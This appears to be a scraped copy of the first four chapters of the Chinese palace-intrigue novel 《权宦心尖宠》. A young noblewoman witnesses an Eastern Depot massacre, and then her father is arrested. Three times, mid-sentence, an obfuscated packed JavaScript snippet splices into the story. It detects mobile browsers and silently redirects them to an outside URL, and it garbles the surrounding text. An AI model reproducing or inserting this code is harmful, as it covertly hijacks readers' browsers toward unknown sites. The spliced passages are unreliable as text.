《权宦心尖宠》 1. 第 1 章 万贞十二年冬，岁末将至。 上京城内人流不息，车水马龙。 在卖艺的汉子一阵阵敲打的锣鼓声中，街上已有不少摊贩早早地支了摊子，上头摆满了喜庆的年画、对联来卖，行人脸上洋溢的笑脸在街头巷尾张贴的彩灯映照下愈发灿烂。 此时一辆马车缓缓行驶在旁边的道上，车轮碾着石子辘辘作响。 “果然要过年了，外头就是热闹！” 伴随着一声女子的惊叹，车帘一角被掀开，楚欣欣露出半个头往外探，一眼便锁定到了喜爱的吃食上，“姐姐你瞧，那儿有糖人卖，我要下去买一个。” 她的话音刚落，马车便听令停了下来，楚欣欣身姿轻盈地一跃而下，她站稳后伸出手来，见马车里头迟迟没有动静，着急唤道：“姐姐，你也下来呀。” 楚湉端坐于马车之中，手中捏着帕子还在犹豫。 父亲本就严令禁止她们姐妹两个出来招摇，这次偷偷从府里溜出来玩若是被父亲知道了怕是免不了一顿训斥，还是不下去比较好。 楚欣欣好似知道自家长姐在担忧什么，笑嘻嘻又道：“姐姐你放心，你把帕子系到脸上，保准不会有人认出你的，我们买完东西就回去，家里人绝不会知道的。” 楚湉咬咬牙，提起裙摆之后搭住了小妹的手，借力下到地面上。 两人为了不惊动父亲，也是怕引人注意，特地没带多的人陪同。然而刚一下马车，便感受到几道视线齐齐望过来。 原因无他，两人的容貌在人群当中实在显眼。 年纪尚小的楚欣欣身着一袭娇艳的粉色衣裳，随着她一动便如同粉色的云霞一般盛开，衬得愈发明媚动人。而她旁边站着的楚湉，虽然脸上被一张帕子遮着，单单只露出一双眼睛，便已是足够惊艳。 一双圆圆的眸子，好似满月一般，纯净透彻，仿佛一眼就能看到底，瞳仁黑亮如漆宛若星辰，偏偏眼尾却微微挑起来，让本来单纯的眼眸多出一分无辜的妩媚。 这样好看的眼睛，让人忍不住去揣测面纱下的容颜。 楚湉被诸多探寻的目光打量得有些不好意思，低下头撞了楚欣欣的胳膊，低声道：“你快些，买了糖人我们就速速回去。” “下次不许因为贪吃溜出来了！” “好姐姐，真不是我馋嘴。”被冤枉的楚欣欣吐了吐舌，辩解道，“实在是有人眼巴巴想见你，所以来托我帮忙。 顺着幺妹指的方向，楚湉注意到朝自己走来的人。 楚湉只看了他一眼，双颊迅速染上绯红，赶忙垂下头去——来者不是别人，而是同她定下婚约的谢家三郎谢尚。 谢尚已经快步走到两人跟前，眼底都是笑意，藏也藏不住。 他轻声唤道：“阿湉……” “姐夫，你倒好，我费尽心思帮你的忙，你看都不看我一眼，”楚欣欣抱怨道。 楚湉简直想把自家幺妹的嘴给缝上才好，她斥道：“别胡说，都没成亲，叫什么姐夫！” 谢家同楚家素来交好，今年两家相商之后，更是定下了楚湉和谢尚的婚期，本来今年就该嫁过去，家里舍不得楚湉这么早嫁人才拖到了明年。 谢尚瞧见楚湉蔓延到耳垂的红晕，知她一贯最是守礼，平日里定不会答应私下见面，此次确实是唐突。但这些日子不见，他迫不及待想与她说说话。 于是他拿出一袋银子，打发小厮去陪楚欣欣逛逛。 楚欣欣走之前，楚湉望见她调皮地冲自己眨了眨眼睛，比划着口型，又喊了一声“姐夫”。 被留下的楚湉无法，只能沿着道路随着谢尚慢慢地走着。 两人静默一阵，谢尚今日为了见她，特地装点了行头，本就俊朗的面容更显出众。这下好了，楚湉只觉所有人都在注视着他们二人。 “让一让——”推车的货郎拉着满满一托车的货物边喊边往前跑，喧闹的人群瞬时分成了两半，唯恐被撞上。 有人躲闪不及，差点被撞倒，攒动的人流乱糟糟的。 谢尚长臂一伸，眼疾手快握住了楚湉的肩头，把她护在了自己的里侧，于是楚湉稳稳地靠近了墙角，避开了拥挤的人潮。 楚湉刚想出口说些什么，谢尚又握住了她的手腕，拉着她一起拐进了旁边的小巷之中。 楚湉素来畏寒，冬日里常穿着厚重的衣裳，何况今日出门怕染上风寒，她身上特地还披着一件雪白的大氅，饶是如此，谢尚掌间的温度还是透过被拉扯出的衣袖透到她的肌肤上。 两人刚停下步子，谢尚便发现楚湉迅速地抽回了手。 “这……不合规矩。”她抬起头来，瞪了谢尚一眼，似乎是为他而恼怒。 谢尚被埋怨，非但不高兴，反而嘴角扬起来：“阿湉，你说话的声音真好听。” 楚湉：“……” 两人年幼便相识，谢尚知道凭借楚湉的相貌才情，嫁入皇家都是绰绰有余的，于是他早早便让父亲上门求亲，就是怕楚湉嫁给了别人，好不容易等到两家缔结婚约，谢尚心里悬着的石头才稍微放下了些。 他的阿湉性子清冷又何妨，等他娶她回家，自然会将她暖化她这块石头。想到这里，谢尚脸上笑意更甚，露出一排洁白的牙齿出来。 楚湉被谢尚这般没头没脑的傻笑毫无头绪，等不及她要离开，街巷当中传来一阵嘈杂的马蹄声和脚步声。 原来熙熙攘攘的主街道诡异地突然沉寂下来，随着“吁”的一声，刹那间只剩下阵阵脚步声飘荡到上京城上空。 他们迈着整齐划一的步伐，由远及近、越来越响。 谢尚脸上凝着的笑意在触及到面前这一队身着铠甲的士兵时一滞。 楚湉还没来得及看清楚路过的是什么人马，怎么会在城里这么大的阵仗，就被谢尚喝道：“阿湉，别看，埋下头来！” 士兵身上的铠甲随着他们跑动的动作撞击得哐哐作响，如闷雷一般回荡。 楚湉虽然好奇，还是按捺住探寻的心思没再往那边看，可谢尚似乎觉得并不保险，又把她拉到了他的身后。 那群人并未进他们这条的巷子，雪白的大氅兜住了楚湉的视线，何况前面还有个谢尚挡着，这下楚湉完全都看不清前面发生什么了。 她低下头，视线聚焦在自己脚尖穿着的锦鞋上，这双鞋子是新做的，她还是第一次穿。 鞋面上用白色丝线勾出云纹，上面还有她最喜欢的梅花花样，幸好方才没弄脏，不然她定会心疼。 她的思绪有些放空，忽然谢尚扯了扯她的衣袖，细听那阵脚步声确实似乎消失了，她以为那群人已经走过了，于是她下意识抬起头来。 然而，就在她昂起头的刹那，她忽然感觉到一股寒意从不远处袭来。 楚湉下意识循着这股感觉望过去，于是透过谢尚身子的缝隙，她撞上了一道紧盯着他们这方的视线。 那人很快便偏过头去，楚湉都没能看清他的面容，只看到他一身红衣。 鲜红得如同跳动的火焰，又像是血的颜色。 不知为何，楚湉的心微微一颤，紧接着心中涌起一股莫名的不安来。 谢尚看着他的背影，骂道：“狗贼。” 他的话吹散在风里，远了肯定听不清，但是楚湉离他近在咫尺，一五一十听得十分真切。 楚湉尚且有些茫然，她没弄清楚一向好脾气的谢尚为何会对这伙人抱着这么大的情绪甚至是敌意，便听到转过身来的谢尚继续说道：“阿湉，我改日再来找你，今日怕是外头不太平，我还是早些送你和欣欣回府。” 这话刚说完，谢尚又情不自禁拢了拢楚湉肩头有些滑落的大氅，重新给她系了个结。 他忽然想起方才那人似乎往他身上停留了一瞬，忙问道：“阿湉，方才那狗贼没看到你吧？” 寒风又刮起来，楚湉既不知道谢尚说的人是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647867|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也弄不清楚方才算不算被谢尚口中的人见到，她只觉得这风冷极了，像是要把她的骨头都吹散。 谢尚低头凝视着楚湉煞白的一张小脸，着急又心疼：“都怪我不好，不该骗你出来。” 楚湉没再追责他，勉强挤出来一个笑脸：“早些回去吧。” 谢尚到底还是放心不下，坚持要送楚湉姐妹俩回楚家。 马车内楚欣欣放下手中举着的拉丝糖人，又舔了舔嘴边甜乎乎的糖渍，又看了看脸色都算不上太好的姐姐和谢尚，颇有些心虚：“姐姐。我认错了，下次就算谢家哥哥贿赂我，我也绝不哄骗你。” 为了表示决心，楚欣欣手作发誓状并拢，讲得十分郑重。 楚欣欣知道的，长姐向来都疼她，平常只要她求饶，长姐就什么重话都说不出了。今日也许是因为谢尚和她一起惹姐姐生气了，所以姐姐才从一上马车就不理她。 楚湉还在思考眼前一闪而过的那缕红色身影是谁，差点没听见楚欣欣的话。 这时一声尖利的嗓音成功打断了楚湉的思绪。 “前方马车，速速绕道！” 又高又细的腔调好似要刺穿人的耳膜，就连拉车的马儿也不安地嘶鸣起来，拉马的家丁连忙拉紧缰绳，费了好大的力气才稳住了马儿。 车厢内端坐的三人也随之一晃。 楚湉心下诧异，这么宽的官道上，哪怕是几辆马车同时行驶也是绰绰有余，又是遇见谁了，有这么大的派头竟不许她们走？ 家丁正欲出口询问缘由，下一瞬却猛地噤声了，连忙调转车头。 楚欣欣还想探出头看发生了何事，被楚湉猛地拽住了衣角。不知为何，楚湉心里那股不安重新汇聚到了一起，就好像又被那个红衣人看了一遍一般。 不，不是看，楚湉后知后觉反应过来。 那人的眼神太过……冰冷阴森，更像是他拿着小刀一刀一刀把人凌迟。 生吞活剥、吞吃入腹。 不知是不是楚湉的错觉，鼻翼翕动之间，她好似真的闻到了一阵血腥味。 鲜活的、炽热的气息，铺天盖地卷入了马车当中，马车内的所有人都不约而同皱起了眉头，楚湉这才明白，外头怕是真的有人丧了命。 “救命啊！你们饶了我吧……求求你们了！” 这声急切又虚弱的求饶声彻底证实了楚湉的猜想，紧接着，马车外传来一阵凌乱的脚步声和刀剑出鞘的声音。 “铮”的一声，再无动静。 渐渐地，楚湉便再也没听到那道声线了。 她伸出手来，再也忍不住，想拨开帘子看看外头到底发生了什么。 “停车！”她张口叫住了挥舞马鞭的马车。 车外的家丁听到小姐的命令，本来就已经被眼前看到的一幕吓破了胆，此刻却不敢停，手中哆哆嗦嗦抖个不停，嘴唇也不受控制地颤抖起来。 最终颤颤巍巍憋出一句话：“小姐……停不得……全是血，” “东厂的人，在、在街上杀人。” 寒冷的风声呼啸而过，原本遮挡着车内的车帘被猛地卷起，在空中翻飞舞动。楚湉于晃动之中，看到街上被大片的暗红色血液铺满了。 还有之前见过的那抹红色身影也在。 他静立于尸横遍野之中，原本暗沉的血色此刻在他一身红衣的映衬下，竟泛出一种诡异而又摄人心魄的光泽。 马车的不远处还有一个男人侧躺在地上。他的整个身体被一把利剑贯穿，口中吐着鲜血，薄薄的利刃在日光的照耀之下泛着寒光，猝不及防闪到了楚湉的脸上。 楚湉的面容被这突如其来的一闪而过的光照亮。 她不自觉伸手想挡住眼睛，可手就像是不听使唤了一般僵在了原地。 因为楚湉此刻清晰地看到了，那个红衣男人正紧紧盯着她所处的马车之上。 更准确说来，是落在了她的身上。 2. 第 2 章 两人的视线交汇在一起，四目相对之间楚湉感觉呼吸都慢了半拍。 幸而这股风的势头很快便不复之前的凶猛，虽然马车之外还是呼呼的吹着冷风，那张被风吹起来的帘子却已经是落了下来。 楚湉的心跳声随着落下的帘子一起恢复了寻常，奇怪的是，明明只是匆匆一瞥寥寥数秒，她却恍若隔世一般。 旁边的谢尚显然也在帘子掀起的时候看清了外面人的脸，他径直开口，压低了音量，对着马车内本想出手相助的楚湉说道：“不要多管闲事！” 他的喉咙有些嘶哑，发出的声音带着干涩，但他说得那样急，甚至唯恐马车忽然停下来一般，又对着外头坐着的车夫大声喝了一声：“别停，继续赶路。” 楚湉定定地凝视着谢尚的脸，见惯了他气定神闲的样子，突然感觉今日的他十分陌生。 然而已经有人拦在了他们的马车跟前。 “东厂办案，捉拿逃跑的要犯，车里的人速速下马来接受盘查。” 这下是想走都走不了了，谢尚的脸色瞬间阴沉下来，原本温润的脸上也好似覆盖上一层寒霜。 谢尚指了指楚湉因为进马车取下的帕子，示意她重新戴上，在看到楚湉重新系好之后，掀开了车帘并从怀里摸出了一枚令牌。 “我是谢尚书府里的人，这里面坐着的是家中的女眷，并没有你们要找的人。” 谢尚身着锦袍头戴玉冠，一眼便是富家公子的装扮，何况摆出他父亲谢尚书的名号，一般办案的人指定不会再追究下去，说不定还要卖个面子赔个不是才对。 楚欣欣理所当然的这么想，但是事情发展却并非她所料想的这般。 本来勒令他们下车的人只往那红衣男子处看了一眼，而那红衣男子只是微微地掀了掀眼皮，甚至都没有开口说话，就听到更严厉的一声： “下马！” 谢尚绷紧了下颌，满腔怒火都要被引燃。 这时楚湉明白了，这群人哪管这些，说好听些是秉公执法，摊开来说简直是横行霸道、目中无人…… 楚湉不想再多生事端同这群人纠缠下去，于是她率先起身，安慰谢尚道：“没事的，我们下去吧。” 谢尚被她轻轻柔柔的声调打动，虽觉得在喜欢的人失了颜面，但也明白这群东厂的走狗不达目的誓不罢休，只能再叮嘱一句：“站我身后，一切有我。” 楚欣欣紧紧握着长姐的手，两人久居闺阁之中，何曾见过这般惨烈的场面，饶是做足了心理准备，还是被下马之后见到的场景吓得不轻。 那股令人窒息的血腥味道随着他们的靠近愈发浓重，原来不止楚湉先前看过那名中剑的男人，街上横七竖八躺着数十个失去了生命气息的尸身。 无一例外的是，他们都有着可怖的伤口，身下流出的血液汇聚成一片片大小不一的血泊，有的渗进砖石缝隙当中，有的一路蜿蜒向前，最终淌到了他们三人的脚下。 谢尚眼底的厌恶险些都要藏不住，最终还是敛起神色催促道：“快些查！” 很快便有人探进马车查看，里面再无旁人，这辆马车里仅有的三人都站在了外边，并没有他们要找的人。 领队的人正要收兵，却听到一声：“且慢。” 发话的正是那名红衣男子，他挥了挥手，指着楚湉和她身边的楚欣欣道：“那还有两人没有查。” 楚湉和楚欣欣脸上皆覆盖着丝帕，看着全然是女子的打扮。 “宋知明，你别欺人太甚，”谢尚站了出来，“这是尚书府的女眷，怎么可能是你要找的人！” 宋知明听到自己的名字，目光从谢尚身上扫过，微微扬起下巴，狭长的眼眸半眯起来。 “谢三公子原来认识咱家啊，怎么见到了却不打声招呼？” 谢尚缓缓甩了下衣袖，他怎么屑于和宋知明这种人扯上干系，骨子里惯有的傲慢无处遁形：“你认得我就好，我本来不想招摇，既然知道了，便赶快让我们走。” 空气中安静了一瞬，便听到了一声短促的笑。 宋知明收起了挂在脸皮上的半分笑意，冷冷道：“谢三公子我倒是认识，可这两名女子光天化日之下还着面纱，实在可疑不是？” 他的语气像是问询，听在他手下人的耳朵里却成了命令。 葛术忙道：“来人，掀了这两个女子的面纱比对。” “你……”谢尚气结，却已经被东厂的人拦住了，一道人墙瞬间围在了谢尚和楚湉之间，谢尚恶狠狠地盯着宋知明，出言训斥，“谁给你的胆子！我定要去陛下面前参你一本！” 这下轮到葛术犯难了，若是谢尚书家的三少爷，就这么冒犯了他家的女子，定会惹来麻烦，可提督大人又未阻止。 这面纱，他到底是掀还是不掀？ 直到葛术目睹宋知明扫了自己一眼，见宋知明眼底已经落了不悦，他才如梦初醒，对着同样停住了动作的手下骂道：“还愣着干嘛，动手啊。” 面纱之下楚湉一张脸泛着没有血色的白，明明她已经十分慌张，还是拍了拍妹妹的手要楚欣欣别怕。 “我们自己露脸就是。”她咬着下唇说，心里并不愿意让这些人碰到自己。 葛术心中惊奇她的胆魄竟然在这样的境况下还说得出这样的话，却也明白世家贵女身上大概都是有些骨气在的，倒是答应了。 然而，面纱从她指尖滑落的瞬间，他还是吸了口气。 多好看一张脸，简直是无一处不美，他在宫中当值时也出入过后宫，那些妃嫔无疑都是国色天香的佳人，却也不见得比得眼前女子的美貌。 “你们看清楚了，我俩可是你们要找的人？”楚湉努力让自己的声线保持着平稳，不愿意在他们面前露了怯。 自然不是。 葛术偷偷觑了宋知明一眼，其实早先这两名女子下马时，他就明白这绝对不是他们要捉拿的人，他也不算明白提督为何要大费周章掀开她们的面纱，不过提督的心思他向来不敢妄自揣测，因为谁都不知道提督的打算。 比如现在，宋知明却比葛术想象得要还要淡定许多，仿佛眼前倾国倾城的美人再寻常不过，宋知明甚至眼皮都没眨一下就从楚湉身上掠过了视线。 谢尚的额头上青筋暴起，喝道：“还不放开我！” 他周围的官兵往后退了一步，谢尚顾不上其他，匆忙走到了楚湉和楚欣欣跟前，领着两人气急败坏地外走，临走之前还放下狠话：“宋知明，你等着！” 本来今日开开心心的出门，谁知道出门竟遇到了这样的事情。 谢尚把人送回楚家门口，越想越生气。 “东厂的人真是越来越无法无天了，尤其是宋知明那个狗贼，今天摆明了是故意给我们使绊子，哪是在捉拿犯人，分明是在耍威风。” 楚湉拥着幺妹的腰，街上血腥的那一幕在她眼前挥之不去，她只觉胸口堵得慌，怎么都无法纾解。 “谢尚，”她喊了一声，“我累了，你回去吧。” 她的声音像是从很远的地方飘来的，透着浓浓的疲倦，谢尚也不好再多说什么，赶忙道：“嗯，你回去好好休息，今日发生的事情别放在心上，我会向宋知明追究的，我改日再来看你。” 楚湉拖着沉重的身子领着楚欣欣往里走，回到自己住的屋子后，楚湉还是魂不守舍。 冬至瞧了忍不住纳闷：“小姐今日是怎么了？出去玩一趟，怎么回来像是撞了鬼似的。” 确实是见鬼了，楚湉想说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647868|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当今世上，谁不知道宋知明的名号。 ——年纪轻轻便坐上了东厂提督的位置，大权在握，圣恩浩荡，可在这泼天的权势之后踩着的是无数尸骨，多少人因为他而家破人亡。 楚湉曾听父亲偶然提起过宋知明一次，是两月前上京城里人人都在谈的那桩太傅灭门案。 朝廷命官、且还是教导太子学业的柳太傅，只因为朝廷上和宋知明政见不合闹了矛盾，还不是被宋知明说杀就杀了，更离奇的是，皇上竟然都没有追责。 此事一出，谁人不怕宋知明这条疯狗。 楚湉此刻只要闭上眼睛，只觉满眼都是粘稠的血染成的通红一片，她的胸口仿佛被一团浊气闷住，她只好提起茶壶给自己倒了满满一杯茶。 刚沏好不久的茶水还冒着蒸腾的热气，楚湉却顾不上许多，拼命大口大口往肚里灌着水，试图把心里的这股子不适压下去。 谁料，那水入了腹中，却好似在胃里翻江倒海起来，原本的难受劲儿不仅没消减，反而越发强烈了。 楚湉的脸色瞬间变得惨白，身子也开始不受控制地微微颤抖起来。 片刻后，一股强烈的恶心涌上心头，于是她再也忍不住，猛地站起身来，拿帕子捂住嘴，快步走到痰盂旁边，“哇”的一声呕了出来。 她今日并未进什么东西，吐出来的全是刚刚喝下的水。 冬至被吓得不轻，跑到楚湉身后拍打着她的后背：“小姐，没事吧？到底是怎么了？” 楚湉缓了好一会儿，才终于平息下来。 尽管屋里烧着炭盆，窗子也关得严严实实的，楚湉还是感觉到一股寒意，钻骨的冷。不止是她的四肢，还有她的心也如坠冰窖。 今日她眼睁睁地看着那么多条鲜活的生命从她的眼前消失，东厂的人说的是捉拿要犯，谁又知道是不是滥杀的好人呢？ 尤其是那宋知明，楚湉忍不住想起他那双眼睛。 她没想到人人怨声载道的宋知明看起来并不如她想象当中的那般，她以为宋知明这种嗜血的恶魔大概长着一张扭曲恐怖的脸，可事实上，宋知明的外貌十分的正常，甚至称得上相貌堂堂。 若不是知道他是宋知明，楚湉也许会被他那张温润如玉的脸欺骗，误认为他是个谦谦君子。 可是他脸上的眼睛出卖了他。 楚湉今日同他对视上，望向他那双眼睛时，只觉无名的寒意径直从脊梁骨窜起，和常人不同，宋知明的眼中毫无温度和人情味，看似平淡如水的眸子里，全是无尽的冷酷与对生命的漠视。 谢尚同宋知明说话时，楚湉也默默观察了他。 明明那时候宋知明微微眯起眼眸，脸上甚至还带着笑意，楚湉却好似看到了他眼底一闪而过的嗜血的光芒，同他的那身红衣一起散发着鲜红的光。 简直是索命的鬼魅！ 谢尚走之前说是要去找宋知明算账，谢尚书位高权重，宋知明再怎么无法无天应该不能把谢尚怎么样吧？ 楚湉简直是坐立难安，满脑子都是胡思乱想。 “父亲呢，往常这个时辰早就下朝了，怎么今天这个时辰了还不见归家？”楚湉问冬至道，她迫不及待想把今日发生的一切告知父亲。 “老爷早就让身边的小厮回来报信了，说是朝中有事困住了，今日并不回来用午膳。” 闻言，楚湉点点头表明知道了。父亲近日好像一直在搜罗什么证据，终日在书房里议事，经常忙得人影都不见。等父亲回来了，她就不用担惊受怕了。 然而就在楚湉的心绪渐渐平复下来之时，她的右眼眉心处开始不受控制地跳动起来。 一下紧跟一下，好似急促的鼓点。 仿佛在预兆会有什么坏事发生。 3. 第 3 章 楚湉的父亲楚正业是御史，官居正二品，有监察百官、弹劾进谏之职。 御史的职责所在，总是免不了得罪人，楚父也是个刚正不阿的性子，总是教导楚湉做人一定要正派，哪怕身处逆境，也千万不能同流合污。 楚湉安慰自己不要多想，想来父亲今日应是朝中遇到了什么棘手的事情耽搁了而已。 可是她越想却觉得越不对劲，联想到今日于街上听闻别人议论皇帝已经几日未上过朝了处理政务了，既然无法面圣，又怎么会耽搁呢？ 随着时间一点点的流逝，楚湉的心渐渐揪紧了起来。 她深知父亲为官多年，向来行事谨慎，几乎从未有过逾时未归的情况。况且近些日子，朝堂之上暗流涌动，各个党派为了立储一事纷争不断。父亲虽然从不站队，但也常因直言进谏而得罪一些权贵，会不会是卷入了什么事端当中。 这样的想法一旦滋生便疯狂蔓长，楚湉心中愈发没底。 先帝有九子，个个都是人中龙凤，当今圣上从夺嫡的腥风血雨中胜出，早年间确实称得上励精图治了好几年，可近两年来，随着宦官的权势越来越大，陛下反倒像是越来越昏庸了。 皇上终日里沉迷于修仙问道获得长命百岁的药丹，却不问朝政，大修宫殿、极尽奢靡，若不是早些年打下的根基在，还不知现在的民生会不会更艰难。 父亲没少因为这些事情而上书，楚湉多次听到父亲在于同僚商讨事务时愤懑不平道：“陛下也不知是被些奸臣贼子下了什么迷药，东厂的人多次知法犯法，早已是恶贯满盈，偏偏圣听被蒙蔽，我怎能容许朝堂被这些阉人搅得一潭浑水！” 至于这背后如此胆大妄为，能够在朝堂之上呼风唤雨的阉人是谁，楚湉不敢再细想下去。 …… “姑娘在想什么？想得这么入神。二爷一家过来了，正在前厅等着姑娘过去呢。”屋里传来沈嬷嬷的声音，她是楚湉母亲的贴身丫鬟，已经在府里快待了二十年。 而她口中的二爷是楚湉父亲的亲弟弟，楚湉按道理该唤一声二叔。想起二叔家的那些人，楚湉本来就皱着的眉头拧得更紧了。 楚湉自己简单整了整衣衫确保没有差错之后，吸了口气被引着到了前厅。 她刚迈进门，就听到二叔母陈淑华正嚼着舌根：“我方才进门正遇到楚湉和欣欣从外面回来呢，哪家的姑娘天天在外面抛头露面的，姐姐你就是太纵着她们了。” 楚夫人脸上有些挂不住，但还是面带笑容：“到底还是小孩子，贪玩一些也是有的。” “母亲，婶婶……”楚湉一一喊人，随即陈淑华的目光落在楚湉身上。 背后说教却被撞了个正着，陈淑华略显尴尬。 楚湉的眼睛毫无波澜，只是淡淡地笑笑，看似并没把她的话放在心上。 陈淑华知晓自己这个侄女向来是个不好亲近的，虽然自己夫家不争气，处处落了长房的下风，但她好歹是做长辈的，哪肯吃亏。若是往常她定还要再教训几句，但她想起自己过来的目的，今日却只能算了。 陈淑华走到楚湉跟前，拉起她的手，十分亲昵道：“一阵子不见，阿湉倒是出落得更加秀丽了。” “明年就要嫁人了，嫁妆什么的可都置办好了？我特地带了几块好料子过来给阿湉挑挑，看看可有喜欢的，到时候做几身新衣带过去。”陈淑华握着掌中女子的柔荑，心下叹道，楚湉到底用了的是什么手脂，怎么将肌肤养得这般滑腻。 楚湉默默抽出手，面上还是露出个乖巧的笑脸：“多谢婶婶费心，母亲都准备了的。” “尚书家是多么显赫的门庭啊，自然陪嫁是越多越好，才不至于叫人看轻。不过话说回来，咱们楚家的女儿嫁过去本来就是亲上加亲的好事，”七拐八绕的，陈淑华终于绕到了自己想说的话，“我听说尚书府职位还有空缺，阿湉你要不向谢尚举荐下你表弟，反正他近来在家待着也是无事。” …… 陈淑华口中的表弟是楚湉二叔的儿子楚鹏飞，天天流连于烟花柳巷，学问没学什么，倒是染上了一堆外面的臭毛病，吃喝嫖赌样样精通。 楚湉终于知晓了她今日如此殷勤的原因，状若十分无奈道：“婶婶，你可真是高看我了，我都没有嫁过去，怎么好插手谢家的事情呢？” 陈淑华有心讨好却碰一鼻子灰，十分的不服气，还想继续说话，起码她这几匹布不能白送了不是。 楚湉知道自己母亲向来性子软，本来还提着耐心应付陈淑华，却于低头之间无意一扫，看到了自己鞋面上不知何时溅上了红色的印记。 是血。 原来用的是细腻的丝线勾勒出来的红梅，绣工极为精巧，仿佛能闻到梅花那幽冷的花香一般。而此刻，那鲜红的血渍如同额外添上的颜料，不规则地洒落在红梅之上，不知何时晕染开来，使得中间的花蕊愈发娇艳欲滴。 陈淑华显然也瞧见了她这双夺目的绣鞋，酸溜溜道：“难怪不肯给我面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647869|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子呢，合着你们家中全是好东西，我们送的这些俗物倒是看不上了。” “什么你们家我们家的，大家还不是一家人，说的这些话见外了不是。”楚夫人忙道。 楚夫人瞧出了女儿的心不在焉，送走陈淑华之后不由问道：“是不是身子不舒服吃坏东西了，你和欣欣一个二个的，看着都不太对劲。” “欣欣那丫头也是，回来就闷着关在屋里，沈嬷嬷去叫她也不过来。” 楚湉知晓母亲胆小，今日遇到的事被母亲知道免不了担心，终究是没有开口，只是她心事沉沉，就连午膳也没用两口，只满心期待着父亲早些回来。 这一等便是许久，久到太阳都快要下山了。 而楚湉等待的人，依旧不见踪影。 她的目光时不时投向门口，她嘱咐了冬至要是父亲回来了便第一时间告诉她，此时眼里满是藏不住的焦急。 正踌躇间，楚湉忽闻前院传来阵阵嘈杂的声音，尽管没等到冬至过来报信，楚湉已然也是坐不住了。屋里不知是谁来了，比二叔一家过来的阵仗还要热闹。 拐过游廊，正要去往前厅，冬至忽然露面：“小、小姐。” “怎么样了？父亲他人呢，到家了吗？” 冬至眼里含着泪，听到楚湉关切的声音，没忍住“扑通”一声跪下来。 楚湉见冬至如此，心中不安愈发强烈。 然冬至的话粉碎了她最后一丝希冀：“老爷，刚下朝回来了，结果不知从哪里冒出来一伙人，手里拿着文书，说要把老爷抓到大理寺去……” 楚湉只觉眼前一黑，天都要塌下来般。 太阳缓缓西沉，天色一下子暗了许多。楚湉终究没能见到父亲，唯有楚夫人隐忍压抑的哭声传入她的耳中，还有小妹眼底藏不住的焦急映入楚湉眼帘。 “来的是什么人？”楚湉问道。 “不知道、只听那带头的人说，他说老爷惹上了不该惹的人，对了，还当着老爷的面烧了封奏疏！” 楚湉捧起那一堆烧得残缺不全的纸张，有些边缘已化为齑粉，稍一用力便簌簌落下。 她凑近上前，努力想要辨认上面的字迹内容。 冬至忙点上烛火，借着不甚明亮的灯光，楚湉隐约看出了几个字。 是父亲的笔迹无疑。 楚正业的笔锋刚劲，每一笔仿佛都带着千钧之力。 仅剩的白纸上头赫然写着三个字。 “宋知明。” 4. 第 4 章 “楚姑娘，我家大人出门办事了，现下并不在家中，还请回去吧。” 谢尚书府门口，楚湉被回话的管家拦住了朱门之外，他的态度恭敬，好声好气极了。 饶是如此，楚湉的心头还是免不了一酸。 这已经是父亲入狱之后，不知把她拒之门外的第几家了，往日同父亲来往的同僚好像是统一了口径一般，纷纷不愿意插手父亲的事。别提出手相助了，楚湉这些日子已不知吃了多少户的闭门羹。 只是楚湉以为……谢家本该是不一样的，到底她还是太天真了。 可是除了谢家，楚湉已经想遍了所有人，实在是想不清楚还能去求谁，谢家作为楚湉最后上门的人家，她怎么也不愿意让这丝希望从她手中溜走。 她柔声开口道：“无妨，我等等便是。” “这……”管家免不了面露难色，主子命令他把楚湉打发走，他就随便寻了个由头，没想到这楚家姑娘竟想就这么干巴巴等着，那待会主子出门若是遇上她，他就免不得一顿办事不利的训斥。 虽然主子没想要见楚姑娘，但明面上的功夫还是要做的，总不能让谢家落了个“薄情寡义”的名声。 而此时楚湉虽身着披风，站在风里这么久，鼻尖和耳垂早已被冻得通红，衬得原本就白皙的面容更加莹白，却又添了几分楚楚可人之态。 管家皱了皱眉，有些不忍，终究还是狠下心来：“楚姑娘，您在门口站着也不是个事儿啊，这让别人瞧见了，该怎么议论呢？” 议论？楚湉目露戚色，事到如今，她还顾及得了旁人的看法这么多吗？父亲自那日被抓，便再无音讯传来，若是还有其它法子，她一个尚在闺阁之中的姑娘何苦做到这一步。 冬至听到这话更觉得难过，老爷出事之前，自家小姐何曾受过这样的委屈，这几日却是将人情冷暖体验了遍。昔日里谢家对小姐是多么的殷勤，今年谢三公子上门提亲时，上京城内谁人不艳羡小姐要嫁个这么好的人家。 可是如今，婚约明明还在，谢家转眼间就换了副嘴脸。小姐来之前早就打听过了，谢尚书今日休沐在家，并未出府。不帮忙也便罢了，竟都不让小姐进去谢府的门，这岂不是摆明了要和老爷划清界限…… 